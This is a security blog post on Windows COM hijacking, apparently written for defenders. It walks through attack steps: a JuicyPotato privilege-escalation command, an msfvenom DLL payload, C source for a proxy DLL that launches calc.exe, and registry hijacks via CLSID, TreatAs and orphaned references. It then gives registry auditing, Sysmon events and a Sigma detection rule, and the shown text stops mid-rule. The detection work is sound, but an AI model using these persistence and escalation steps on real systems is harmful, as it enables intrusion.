COM Hijacking from a Defenders Perspective

To me, getting into COM was not as trivial as I thought. The first time I encountered COM was many years ago, when I had to identify CLSIDs for Escalation of Privileges on Windows systems. In this blog post, we aim to provide some ideas for blue teamers to detect a specific attack targeting COM, known as COM hijacking.

Motivation: Privilege Escalation using Juicy Potato

Consider a privilege escalation example to ground this discussion in a real-world scenario. Suppose you have gained access to a Windows machine and want to escalate your local privileges. You notice your current user context possesses the SeImpersonatePrivilege.

Ignoring the SeDebugPrivilege in this case, you might already be thinking of JuicyPotato. However, if you have used the binary before, you will probably know that JuicyPotato requires an ominous CLSID and references COM listening port and IP.

For instance, running .\JuicyPotato.exe -l 80085 -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}" -p "C:\Windows\System32\cmd.exe" -t * executes cmd.exe in context of NT AUTHORITY\SYSTEM. This works because the CLSID ({5B3E6773-3A99-4A3D-8096-7765DD11785C}) corresponds to the XblGameSave service, which runs in the SYSTEM context. With this practical example in mind, let’s examine COM more closely to better understand its potential for exploitation and how defenders can counter these techniques.

COM – Component Object Model Basics

You’ve probably seen this definition before: “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), and several other technologies.” But what does that really mean in practice?

To start with, platform independence and distribution means that COM can be written in various programming languages, used across different networks and processes, and even operate on different operating systems. Next, the object-oriented aspect of COM implies that a “component object” behaves much like a typical C++ class, providing specific functionality and methods. However, a defining feature is that all functionality is accessed exclusively through so-called interfaces. These interfaces bundle relevant methods, serving as the sole channel by which an external process—or COM client—can access the functionality of the COM class.

Furthermore, to be more specific, these COM objects or classes are provided by a COM server, making them available to clients. If a client requires a specific method, it requests it through the corresponding interface on the server.

Finally, there is the concept of marshaling—the process that handles transferring data between client and server, ensuring each side correctly interprets the exchanged information. Overall, COM fundamentally revolves around providing discrete bundles of functionality through interfaces, enabling interaction across processes, systems, and even networks. Although it is also possible to use COM in a distributed network, so-called Distributed COM (DCOM), this would go beyond the scope of this article.

An Example – 7-Zip and the IContextMenu Interface

All this talk about COM can seem a bit abstract, so let’s look at a concrete example: 7-Zip. When we install 7-Zip on a system, we notice a new context menu entry “7-ZIP” appears whenever we right-click a file. This functionality is made possible by 7-Zip’s usage of the IContextMenu COM interface, which provides methods for creating shortcut menus, meaning the 7-Zip source code acts as a COM client. If we explore 7-Zip’s source code, we can see how it leverages this interface to add those context menu items.

Component Object Model Identifiers

COM classes and their interfaces can be accessed through identifiers registered in the Windows Registry. Each COM class has a Class ID (CLSID), and its interfaces have Interface IDs (IIDs)—both are globally unique identifiers (GUIDs). If the COM class also has a human-readable name, it will appear as a ProgID in the registry. Lastly, when multiple COM objects are hosted within a single executable, they are grouped under a shared AppID, which is also globally unique.

COM inside the Windows Registry

COM classes are registered in the Windows Registry under HKEY_CLASSES_ROOT, which effectively serves as a merged reference to HKEY_LOCAL_MACHINE\SOFTWARE\Classes and HKCU\Software\Classes\CLSID. Classes in HKCU are executed before those in HKLM, except for high–integrity processes, which are loaded from HKLM to prevent local privilege escalation. A well-known example is WScript.Shell, a COM class used to execute code; its CLSID is {72C24DD5-D70A-438B-8A42-98424B88AFB8}. We can retrieve more information about this specific class by querying the registry with reg query HKLM\SOFTWARE\Classes\CLSID{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ /s.

This command returns details such as the ProgID (the human-readable name for the COM class), the InprocServer32 subkey (the in-process server for that class), and the TypeLib subkey. The TypeLib ID points to one or more binary files that contain the COM object’s properties and methods, which are ultimately exposed through the class’s interfaces.

Viewing COM Classes, Interfaces, and Methods using COMView

Working directly in the Windows Registry to explore COM classes can be tedious. Instead, we can simplify the process with COMView, a tool that makes it easy to search for a specific class, retrieve its type library, and review its available methods in seconds. For instance, with COMView, we can quickly locate the Run method for WScript.Shell—a favorite target in red team scenarios and real compromises.

Another option is to use OleView. Open the tool, locate the CLSID we want to investigate, then right-click on the relevant interface name and choose “View Type Library.”

This displays all the methods exposed by the associated type library, enabling you to quickly spot commonly abused functionalities like the Run method in WScript.Shell.

Alternatively, if you’d prefer PowerShell, you can enumerate COM classes with gwmi Win32_COMSetting | ? {$_.ProgId } | Sort -Property $_.ProgId Or filter them based on a specific string gwmi Win32_COMSetting | ? {$_.ProgId } | Sort -Property $_.ProgId | where {$_.ProgId -like "script"} | ft ProgId, Caption, InprocServer32. Red Team Notes has also released a handy snippet to enumerate all methods exposed by each COM class:

$com = gwmi Win32_COMSetting | ? {$_.progid } | select ProgId,Caption,InprocServer32

$com | % {
    $_.progid | out-file -append methods.txt
    [activator]::CreateInstance([type]::GetTypeFromProgID(($_.progid))) | gm | out-file -append methods.txt
    "`n`n" | out-file -append methods.txt
}

COM Methods Excerpt

After running this script, we ended up with a methods.txt file containing a comprehensive list of the methods supported by each COM class. Searching for “execute” within this file may reveal methods capable of running commands on the system. For example:

cat .\methods.txt | sls execute | sls method

Execute Method _Recordset Execute (Variant, Variant, int)
Execute Method _Recordset Execute (string, Variant, int)
ShellExecute Method void ShellExecute (string, Variant, Variant, Variant, Variant)
ExecuteCommand Method void ExecuteCommand (string, string)
Execute Method IDispatch Execute (string)

In the excerpt above, ShellExecute and ExecuteCommand immediately drew our attention. In comparison, the ExecuteCommand method is exposed by VisualStudio.DTE.17.0 (VisualStudio Development Tools Environment), ShellExecute belongs to Shell.Application.1. According to Microsoft, ExecuteCommand requires two parameters: CommandName and CommandArguments. To explore this, we created a new COM instance $com = [activator]::CreateInstance([type]::GetTypeFromProgID(("VisualStudio.DTE.17.0"))) (alternatively, the PowerShell cmdlet New-Object –ComObject could have been used to create a new COM instance) and ran the ExecuteCommand method $com.ExecuteCommand("calc.exe", ""). However, we discovered that using calc.exe directly isn’t valid—indicating that we need a different command name or format for the first parameter.

By digging into the VisualStudio Development Tools Environment documentation, we discovered that the new COM instance includes a Commands property, which returns a collection of available commands. Running $com.Commands | Where { $_.IsAvailable -eq "True" } | ft Name > DTE_commands.txt revealed two interesting commands: Tools.Shell and Tools.DeveloperPowerShell.

Using these discovered commands, we can launch a PowerShell window via Tools.DeveloperPowerShell or execute arbitrary commands with Tools.Shell, e.g., by executing $com.ExecuteCommand(“Tools.Shell”, “calc.exe”).

Introduction to COM Hijacking

Earlier, we introduced the Component Object Model (COM) and how attackers can exploit its interfaces to interact with a system—we introduced how to exploit COM to execute code using ShellExecute and ExecuteCommand, additionally, it would be possible to modify the registry, create scheduled tasks, and map network shares. These methods are frequently observed in real-world compromises; for example, an attacker might map an external network share and run code hosted on that share using the ExecuteCommand method of a VisualStudio.DTE COM object. We could even embed a complete, encoded shellcode payload into the command itself. However, covering all possibilities in a single blog post would go beyond the scope of this article.

In this section, we’ll focus on COM hijacking persistence techniques and how to detect them. COM classes found in the registry reference a 32-bit in-process COM server with its DLLs loaded into the client process’s address space (via the InprocServer32 subkey) or out of process (external) server as separate standalone process by specifying the full application path including command line arguments (via LocalServer32). These registry entries list a path to a DLL or executable along with its threading model.
A prime example is the CLSID {2155fee3-2419-4373-b102-6843707eb41f}, which Explorer.exe uses to render file icon thumbnails. By default, the registry key Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID{2155fee3-2419-4373-b102-6843707eb41f}\InprocServer32 points to C:\Windows\System32\thumbcache.dll.

Every time Explorer needs to generate a thumbnail, it loads this DLL into memory. If an attacker replaces this DLL with a malicious one (for instance, embedding a stageless command-and-control payload), the malicious code will execute continuously whenever Explorer renders thumbnails.

Cisco Talos documented how the APT “RomCom” (also referred to as UAT-5647) uses this exact technique, effectively hijacking the COM server responsible for thumbnail rendering to maintain persistent code execution.

Discovering Missing COM Classes

A common first thought might be to modify HKEY_LOCAL_MACHINE (HKLM) so that a COM class loads a malicious DLL. However, this is often impractical due to restricted permissions. Instead, attackers typically target the HKEY_CURRENT_USER (HKCU) registry key, which stores per-user settings. Notably, HKCU entries override corresponding entries in HKLM most of the time, allowing a user-level registry change to hijack a COM class effectively.

Attackers can exploit this behavior by searching for missing COM classes in HKCU. A straightforward method is to use Sysinternals Process Monitor with filters that capture RegOpenKey events, resulting in NAME NOT FOUND. These indicate attempts to open a non-existent CLSID under HKCU. Ideally, such enumeration is conducted in a lab rather than on production systems. Any CLSID flagged in this manner is a potential hijack target, as the attacker can create the corresponding registry key and direct its InprocServer32 subkey to a malicious DLL.

If we utilize acCOMplice, it provides two ready-to-use Procmon filters—FindHijacks.PMF and InprocServer32.PMF—located in acCOMplice\procmon-filters. By importing these filters into Procmon, we can quickly identify CLSIDs under HKCU that return NAME NOT FOUND. We have to import them into Procmon navigating to Filter > Organize Filters before we can load the filters into using Load Filter.

For instance, with InprocServer32.PMF loaded, we might see msedge.exe attempting to open: HKCU\Software\Classes\CLSID{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}. An attacker can create this key and assign its InprocServer32 default value to reference a custom DLL. The next time Microsoft Edge invokes that CLSID, the malicious DLL executes in the context of Edge.

Exporting and Analyzing the Results

After capturing these events in Procmon, the next step is to export the data to a CSV file to detect additional hijacking targets. To achieve this we can use the acCOMplice COM Hijack Toolkit again and execute Import-Module COMHijackToolkit\COMHijackToolkit.ps1 and extract any missing registry keys Extract-HijackableKeysFromProcmonCSV -CSVfile .\procmon_dll_hijacking_candidates.csv > .\procmon_dll_final.csv:

PS C:\Tools\acCOMplice> Extract-HijackableKeysFromProcmonCSV -CSVfile .\procmon_dll_hijacking_candidates.csv > .\procmon_dll_final.csv
PS C:\Tools\acCOMplice> gc .\procmon_dll_final.csv | select -first 5
AppHostRegistrationVerifier.exe,c53e07ec-25f3-4093-aa39-fc67ea22e99d
ApplicationFrameHost.exe,317D06E8-5F24-433D-BDF7-79CE68D8ABC2
ApplicationFrameHost.exe,812F944A-C5C8-4CD9-B0A6-B3DA802F228D
ApplicationFrameHost.exe,95E15D0A-66E6-93D9-C53C-76E6219D3341
ApplicationFrameHost.exe,c53e07ec-25f3-4093-aa39-fc67ea22e99d

We can also analyze the CSV file in Excel or Timeline Explorer to group the data by path and process name, making it easier to spot promising targets for hijacking. Regardless of our analysis method, these results reveal missing COM classes that could be created under HKCU, effectively allowing an attacker or a pentester to hijack them.

In the next step, we’ll demonstrate how to exploit one of these identified keys—namely HKCU\Software\Classes\CLSID{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D} which we identified before using Procmon.

COM Hijacking by CLSID

Once we have identified a potential COM hijacking target, the first step is generating a malicious DLL and creating the corresponding registry entry under HKEY_CURRENT_USER. A straightforward way to build a custom DLL, in our case a binary, that launches calc.exe, is by using Metasploit msfvenom -p windows/x64/exec CMD=calc.exe -f dll -o calc.dll.

We can confirm that the DLL works by executing rundll32.exe calc.dll, DllMain on the target system. Next, we create the missing CLSID under HKCU\Software\Classes\CLSID{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D} and add an InprocServer32 subkey, pointing its (Default) value to our new calc.dll. As soon as msedge.exe (or any other process) invokes that CLSID, our DLL loads in place of the original, triggering the launch of calc.exe.

However, this simple hijacking approach can break the original functionality if other applications rely on the legitimate DLL. In the Microsoft Edge example, calc.dll and therefore calc.exe launches whenever Edge or for example Visual Studio Code calls the hijacked COM class, but these applications fail to function correctly afterward. To preserve normal application behavior, we must proxy the legitimate DLL: our malicious DLL calls the real exports from the original DLL but while still executing our payload.

Identifying the original DLL’s exports is the next step. According to OleView, the CLSID we hijacked points to C:\Windows\system32\propsys.dll as its InProcServer DLL. By examining this DLL’s exports—using, for example, Nirsoft DLL Export Viewer—we can see functions like GetProxyDLLInfo and ClearPropVariantArray, among many others. All these exports must be forwarded from our malicious, calc-spawning DLL to the actual DLL; in this case, 223 functions must be proxied.

We store these exported functions in a text file and then incorporate them into our custom DLL.

Next, we will create a new custom DLL, which references the legitimate DLL for each exported function but still invokes our payload (calc.exe) during the DLL_PROCESS_ATTACH phase. An example snippet might look like:

#pragma once
[…]
#pragma comment(linker,"/export:VariantToUInt64ArrayAlloc=C:\\Windows\system32\\propsys.VariantToUInt64ArrayAlloc,@222")
#pragma comment(linker,"/export:VariantToUInt64WithDefault=C:\\Windows\system32\\propsys.VariantToUInt64WithDefault,@223")
#pragma comment(linker,"/export:WinRTPropertyValueToPropVariant=C:\\Windows\system32\\propsys.WinRTPropertyValueToPropVariant,@436")

void calc() {
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));


	CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), (LPWSTR)TEXT(""), NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        calc();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Testing this by running rundll32.exe CalcPropsysExports.dll,DllMain should open calc.exe while still exposing the same exports as the original propsys.dll. Tools like CFF Explorer or DLL Export Viewer can confirm that our custom DLL mirrors the legitimate one’s exported functions.

Finally, we update the CLSID’s InprocServer32 subkey (Default) value in: HKCU\Software\Classes\CLSID{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D} to reference this new proxy DLL. Now, whenever msedge.exe or other applications call this CLSID, calc.exe executes, but the original DLL functionality remains intact—ensuring that the hijacked application continues to run normally.

COM Hijacking using TreatAs

Microsoft’s documentation mentions the TreatAs registry key, which can also be leveraged to point to a malicious DLL. Previously, we relied on the higher precedence of HKCU over HKLM by creating a registry entry with the exact CLSID we wanted to hijack. However, using a well-known CLSID and assigning InprocServer32 or LocalServer32 directly to a malicious DLL could trigger EDR or SIEM alerts, especially if there are detection rules for newly created well-known CLSIDs and their in-process server subkeys.

Instead, a more silent approach is to create a new, random CLSID and point its InprocServer32 default value to a malicious DLL. This new CLSID—because it is not referenced by any application—will not result in immediate execution of the payload. For instance, we can register the CLSID {1BF43E4C-4AF4-4CAD-A000-CF2961B8F63E} in HKCU, which is not used on our system, with an InprocServer32 subkey referencing our payload:

C:\> reg query HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{1BF43E4C-4AF4-4CAD-A000-CF2961B8F63E}\InprocServer32 /s
HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{1BF43E4C-4AF4-4CAD-A000-CF2961B8F63E}\InprocServer32
    (Default)    REG_SZ    C:\Users\HxForensics\source\repos\CalcPropsysExports\x64\Debug\CalcPropsysExports.dll

Because no application or process references this random CLSID, its payload will not run at this stage. Next, we can either use any existing CLSID or create the actual CLSID we intend to hijack, {1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}, and add a TreatAs subkey that simply points to the new random CLSID:

C:> reg query HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TreatAs /s
HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TreatAs
(Default) REG_SZ {1BF43E4C-4AF4-4CAD-A000-CF2961B8F63E}

With this arrangement, any process calling the well-known CLSID will be redirected to the new CLSID’s malicious DLL, while casual inspection of the actual CLSID may not reveal the malicious DLL path in InprocServer32 or LocalServer32—it’s hidden behind the TreatAs reference.

Hijacking Orphaned COM References

Until now, we’ve covered how to instantiate COM objects with the CoCreateInstance API and how to hijack existing components via their CLSID or a TreatAs entry. Before delving into detection strategies, let’s look at orphaned COM references. These occur, for example, when an application is not correctly uninstalled (eg. by just deleting the directories and applications) without removing its associated registry entries, leaving behind COM server references that point to DLLs or executables, which no longer exist. Attackers can exploit this by creating a malicious binary at the path of the missing file, effectively hijacking the orphaned COM reference.

One way to find orphaned references is to use acCOMplice. After importing the COMHijackToolkit module, running Find-MissingLibraries can reveal COM registrations pointing to non-existent DLLs or executables. For instance, you might see something like 1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E -> C:\Users\HxForensics\AppData\Local\Microsoft\OneDrive\24.076.0414.0005\FileSyncShell64.dll.

If FileSyncShell64.dll is missing, you can place your own DLL at that location. Any attempt to instantiate the COM object will then load your malicious DLL. This approach is typically less conspicuous than registering a new COM class, although creating files in certain directories may require elevated privileges.

Detecting COM hijacking

Having explored multiple COM hijacking techniques, let us now consider how to detect malicious COM-related activity. It is important to note that any registry modification enabling COM hijacking requires prior code execution—whether through a compiled application, PowerShell, or another scripting method. Consequently, there are opportunities to detect suspicious behavior before registry changes occur.

However, focusing on registry modifications themselves can be particularly effective. As we saw, COM hijacking often hinges on writing to keys under HKCU\Software\Classes\CLSID, which should experience little to no legitimate activity unless new software is installed. While attackers can also abuse orphaned COM classes or other registry locations, those cases are less common. Monitoring for unusual modifications to these areas substantially increases the chances of detecting malicious or suspicious behavior.

Broadly, there are two approaches to capturing registry changes indicative of COM hijacking:

  • Registry Auditing via Native Windows Logging
  • Sysmon-based Monitoring

In the following sections, we will explore both methods and outline how they can help identify and investigate unexpected registry writes tied to potential COM hijacks.

Detecting COM Hijacking with Registry Auditing

To enable local auditing for registry keys related to COM hijacking, we have to turn on Object Access > Registry auditing in our Local Security Policy (secpol.msc). This ensures that the Windows Security Event Logs can capture relevant registry changes.

Next, we’ll need to set an Access Control List on HKCU\Software\Classes\CLSID. We can either configure the ACLs manually or use the following PowerShell script, which audits events like setting values, creating or deleting subkeys, and reading permissions in the previously specified registry location:

$registryPath = "HKCU:\SOFTWARE\Classes\CLSID"
$acl = Get-Acl -Path $registryPath
 
# Combine the registry rights: SetValue, CreateSubKey, Delete, and ReadPermissions (which corresponds to read control)
$rights = [System.Security.AccessControl.RegistryRights]::SetValue -bor `
          [System.Security.AccessControl.RegistryRights]::CreateSubKey -bor `
          [System.Security.AccessControl.RegistryRights]::Delete -bor `
          [System.Security.AccessControl.RegistryRights]::ReadPermissions
 
# Set the audit flags to monitor only successful
$auditFlags = [System.Security.AccessControl.AuditFlags]::Success 
 
# Configure inheritance so the rule applies to subkeys as well
$inheritanceFlags = [System.Security.AccessControl.InheritanceFlags]::ContainerInherit
$propagationFlags = [System.Security.AccessControl.PropagationFlags]::None
 
# Specify the identity for which the audit should apply (e.g. "Users")
$identity = New-Object System.Security.Principal.NTAccount("Users") 
 
# Create the registry audit rule
$auditRule = New-Object System.Security.AccessControl.RegistryAuditRule($identity, $rights, $inheritanceFlags, $propagationFlags, $auditFlags)
 
# Add the audit rule to the registry key's ACL
$acl.AddAuditRule($auditRule)
 
# Apply the updated ACL to the registry key
Set-Acl -Path $registryPath -AclObject $acl
 
Write-Host "Audit rule applied successfully to $registryPath"

To manually configure registry auditing, navigate to the registry path HKCU\Software\Classes\CLSID, right-click CLSID, and select Permissions.

In the Advanced settings of the Permissions dialog, add the Users group to the Auditing tab. Grant the Set Value, Create Subkey, Delete, and Read Control rights so that any activity involving these operations is captured.

Whenever a new subkey is now created in HKCU\Software\Classes\CLSID, the operating system generates Security Event 4663 (“An attempt was made to access an object”). This event indicates both the “Set key value” and “Create sub-key” operations, enabling you to detect the creation of a new CLSID entry. For example:

An attempt was made to access an object.

Subject:
	Security ID:		[…]\HxForensics
	Account Name:		HxForensics
	Account Domain:	[…]
	Logon ID:		0x30C00

Object:
	Object Server:		Security
	Object Type:		Key
	Object Name:		\REGISTRY\USER\S-1-5-21-931455234-3091383963-4181248037-1001_Classes\CLSID\New Key #1
	Handle ID:		0x49c
	Resource Attributes:	-

Process Information:
	Process ID:		0x104c
	Process Name:		C:\Windows\regedit.exe

Access Request Information:
	Accesses:		READ_CONTROL
				Set key value
				Create sub-key
				
	Access Mask:		0x20006

XML:

<Event
	xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
	<System>
		<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}" />
		<EventID>4663</EventID>
		<Version>1</Version>
		<Level>0</Level>
		<Task>12801</Task>
		<Opcode>0</Opcode>
		<Keywords>0x8020000000000000</Keywords>
		<TimeCreated SystemTime="2025-03-20T19:12:33.4841915Z" />
		<EventRecordID>19911</EventRecordID>
		<Correlation />
		<Execution ProcessID="4" ThreadID="16724" />
		<Channel>Security</Channel>
		<Computer>[…]</Computer>
		<Security />
	</System>
	<EventData>
		<Data Name="SubjectUserSid">S-1-5-21-931455234-3091383963-4181248037-1001</Data>
		<Data Name="SubjectUserName">HxForensics</Data>
		<Data Name="SubjectDomainName">[…]</Data>
		<Data Name="SubjectLogonId">0x30c00</Data>
		<Data Name="ObjectServer">Security</Data>
		<Data Name="ObjectType">Key</Data>
		<Data Name="ObjectName">\REGISTRY\USER\S-1-5-21-931455234-3091383963-4181248037-1001_Classes\CLSID\{detectme}\New Key #1</Data>
		<Data Name="HandleId">0x484</Data>
		<Data Name="AccessList">%%1538 %%4433 %%4434</Data>
		<Data Name="AccessMask">0x20006</Data>
		<Data Name="ProcessId">0x104c</Data>
		<Data Name="ProcessName">C:\Windows\regedit.exe</Data>
		<Data Name="ResourceAttributes">-</Data>
	</EventData>
</Event>

After creating the CLSID, the next step is to add either an InprocServer32 or LocalServer32 subkey, which triggers another 4663 event. Finally, assigning the (Default) value to a malicious binary raises Security Event 4657 (“A registry value was modified.”). This event indicates that a new registry value has been created, providing details on both the old and new values. For instance:

A registry value was modified.

Subject:
	Security ID:		[…]\HxForensics
	Account Name:		HxForensics
	Account Domain:		[…]
	Logon ID:		0x30C00

Object:
	Object Name:		\REGISTRY\USER\S-1-5-21-931455234-3091383963-4181248037-1001_Classes\CLSID\{detectme}\InprocServer32
	Object Value Name:	
	Handle ID:		0x484
	Operation Type:		New registry value created

Process Information:
	Process ID:		0x104c
	Process Name:		C:\Windows\regedit.exe

Change Information:
	Old Value Type:		-
	Old Value:		-
	New Value Type:		REG_SZ
	New Value:		C:\path\to\malicious.dll

XML:

<Event
	xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
	<System>
		<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}" />
		<EventID>4657</EventID>
		<Version>0</Version>
		<Level>0</Level>
		<Task>12801</Task>
		<Opcode>0</Opcode>
		<Keywords>0x8020000000000000</Keywords>
		<TimeCreated SystemTime="2025-03-20T19:12:44.1942364Z" />
		<EventRecordID>19912</EventRecordID>
		<Correlation />
		<Execution ProcessID="4" ThreadID="8256" />
		<Channel>Security</Channel>
		<Computer>[…]</Computer>
		<Security />
	</System>
	<EventData>
		<Data Name="SubjectUserSid">S-1-5-21-931455234-3091383963-4181248037-1001</Data>
		<Data Name="SubjectUserName">HxForensics</Data>
		<Data Name="SubjectDomainName">[…]</Data>
		<Data Name="SubjectLogonId">0x30c00</Data>
		<Data Name="ObjectName">\REGISTRY\USER\S-1-5-21-931455234-3091383963-4181248037-1001_Classes\CLSID\{detectme}\InprocServer32</Data>
		<Data Name="ObjectValueName" />
		<Data Name="HandleId">0x484</Data>
		<Data Name="OperationType">%%1904</Data>
		<Data Name="OldValueType">-</Data>
		<Data Name="OldValue">-</Data>
		<Data Name="NewValueType">%%1873</Data>
		<Data Name="NewValue">C:\path\to\malicious.dll</Data>
		<Data Name="ProcessId">0x104c</Data>
		<Data Name="ProcessName">C:\Windows\regedit.exe</Data>
	</EventData>
</Event>

In summary, we can effectively detect potential COM hijacking attempts by enabling registry auditing and configuring an ACL to monitor HKCU\Software\Classes\CLSID. As demonstrated in previous sections, creating a new CLSID, adding a subkey, and modifying its default value typically triggers two Event 4663 entries (for subkey creation) followed by one Event 4657 (for changing the default value). Defenders can pinpoint suspicious registry modifications indicative of COM hijacking by correlating these events in the Windows Security logs.

Detecting COM Hijacking with Sysmon

Another method for detecting COM hijacking is to use Sysmon instead of setting up registry auditing and applying a System Access Control List (SACL). For example, by using the SwiftOnSecurity Sysmon configuration and executing C:\Tools\sysinternals\Sysmon.exe -i sysmonconfig-export.xml –accepteula, we can identify Sysmon event ID 14, every time a new registry key is created (almost anywhere in the registry):

Registry object renamed:
RuleName: Suspicious,ImageBeginWithBackslash
EventType: RenameKey
UtcTime: 2025-03-24 23:37:28.197
ProcessGuid: {b717fc16-4421-67e1-2812-000000006300}
ProcessId: 6448
Image: C:\Windows\regedit.exe
TargetObject: HKU\S-1-5-21-[…]-500_Classes\CLSID\New Key #1
NewName: HKU\S-1-5-21-[…]-500_Classes\CLSID\{0003000A-0000-0000-C000-000000011146}
User: […]\azureuser

XML:

<Event
	xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
	<System>
		<Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698ffbd9}" />
		<EventID>14</EventID>
		<Version>2</Version>
		<Level>4</Level>
		<Task>14</Task>
		<Opcode>0</Opcode>
		<Keywords>0x8000000000000000</Keywords>
		<TimeCreated SystemTime="2025-03-24T23:37:28.2124383Z" />
		<EventRecordID>14</EventRecordID>
		<Correlation />
		<Execution ProcessID="6776" ThreadID="12716" />
		<Channel>Microsoft-Windows-Sysmon/Operational</Channel>
		<Computer>[…]</Computer>
		<Security UserID="S-1-5-18" />
	</System>
	<EventData>
		<Data Name="RuleName">Suspicious,ImageBeginWithBackslash</Data>
		<Data Name="EventType">RenameKey</Data>
		<Data Name="UtcTime">2025-03-24 23:37:28.197</Data>
		<Data Name="ProcessGuid">{b717fc16-4421-67e1-2812-000000006300}</Data>
		<Data Name="ProcessId">6448</Data>
		<Data Name="Image">C:\Windows\regedit.exe</Data>
		<Data Name="TargetObject">HKU\S-1-5-21-[…]-500_Classes\CLSID\New Key #1</Data>
		<Data Name="NewName">HKU\S-1-5-21-967178308-1847660203-2431219184-500_Classes\CLSID\{0003000A-0000-0000-C000-000000011146}</Data>
		<Data Name="User">[…]\azureuser</Data>
	</EventData>
</Event>

Followed by event ID 13 when updating a registry value.

Registry value set:
RuleName: T1122
EventType: SetValue
UtcTime: 2025-03-24 23:37:42.348
ProcessGuid: {b717fc16-4421-67e1-2812-000000006300}
ProcessId: 6448
Image: C:\Windows\regedit.exe
TargetObject: HKU\S-1-5-21-[…]-500_Classes\CLSID\{0003000A-0000-0000-C000-000000011146}\InprocServer32\(Default)
Details: C:\path\to\malicious.dll
User: […]\azureuser

XML:

<Event
	xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
	<System>
		<Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698ffbd9}" />
		<EventID>13</EventID>
		<Version>2</Version>
		<Level>4</Level>
		<Task>13</Task>
		<Opcode>0</Opcode>
		<Keywords>0x8000000000000000</Keywords>
		<TimeCreated SystemTime="2025-03-24T23:37:42.3512363Z" />
		<EventRecordID>18</EventRecordID>
		<Correlation />
		<Execution ProcessID="6776" ThreadID="12716" />
		<Channel>Microsoft-Windows-Sysmon/Operational</Channel>
		<Computer>[…]</Computer>
		<Security UserID="S-1-5-18" />
	</System>
	<EventData>
		<Data Name="RuleName">T1122</Data>
		<Data Name="EventType">SetValue</Data>
		<Data Name="UtcTime">2025-03-24 23:37:42.348</Data>
		<Data Name="ProcessGuid">{b717fc16-4421-67e1-2812-000000006300}</Data>
		<Data Name="ProcessId">6448</Data>
		<Data Name="Image">C:\Windows\regedit.exe</Data>
		<Data Name="TargetObject">HKU\S-1-5-21-[…]-500_Classes\CLSID\{0003000A-0000-0000-C000-000000011146}\InprocServer32\(Default)</Data>
		<Data Name="Details">C:\path\to\malicious.dll</Data>
		<Data Name="User">[…]\azureuser</Data>
	</EventData>
</Event>

This means we will see two event IDs, 14 instead of event ID 4663, followed by event ID 13 instead of 4657, as we have using registry auditing. By enabling Sysmon and importing the SwiftOnSecurity configuration, we can capture logs for numerous registry modifications. To further reduce noise and overall log volume, we can fine-tune the rule configuration—for example, by filtering only for suspicious DLL or executable paths or by specifying particular CLSIDs.

Detecting COM Hijacking with Sigma

To detect potential COM hijacking, we have created a Sysmon-based Sigma rule.

title: Potential HKCU CLSID COM Hijacking - Sysmon
id: 75cfcdfc-eb43-4e66-939a-5fe7af137ae6
related:
    - id: 790317c0-0a36-4a6a-a105-6e576bf99a14
      type: derived
status: experimental
description: Detects potential COM object hijacking via modification of HKCU.
references:
    - https://hexastrike.com/resources/blog/dfir/com-hijacking-from-a-defenders-perspective/
    - https://attack.mitre.org/techniques/T1546/015/
    - https://unit42.paloaltonetworks.com/snipbot-romcom-malware-variant/
    - https://blog.talosintelligence.com/uat-5647-romcom/
    - https://www.trendmicro.com/en_us/research/23/e/void-rabisu-s-use-of-romcom-backdoor-shows-a-growing-shift-in-th.html
    - https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044/
author: Maurice Fielenbach (Hexastrike Cybersecurity)
date: 2025-03-25
tags:
    - attack.persistence
    - attack.t1546.015
logsource:
    category: registry_set
    product: windows
    service: sysmon
detection:
    TargetObject|regex: 'HKU\\.*CLSID\\.*(InprocServer|LocalServer)(32)?\\\(Default\)'
    EventID: 13
falsepositives:
    - Installation of new applications.
level: medium

Using the Yamamoto Sigma to Hayabusa converter, we can create a Hayabusa version of the rule: poetry run python sigma-to-hayabusa-converter.py -r registry_set_persistence_hkcu_com_hijacking_sysmon.yml -o .\converted_sigma_rules. However, due to the use of regular expressions in our rule, a direct conversion is not possible. Therefore, we will create an additional rule registry_set_persistence_hkcu_com_hijacking_sysmon_no_regex.yml that can be converted into a Hayabusa rule.

title: Potential HKCU CLSID COM Hijacking - Sysmon
id: 75cfcdfc-eb43-4e66-939a-5fe7af137ae6
related:
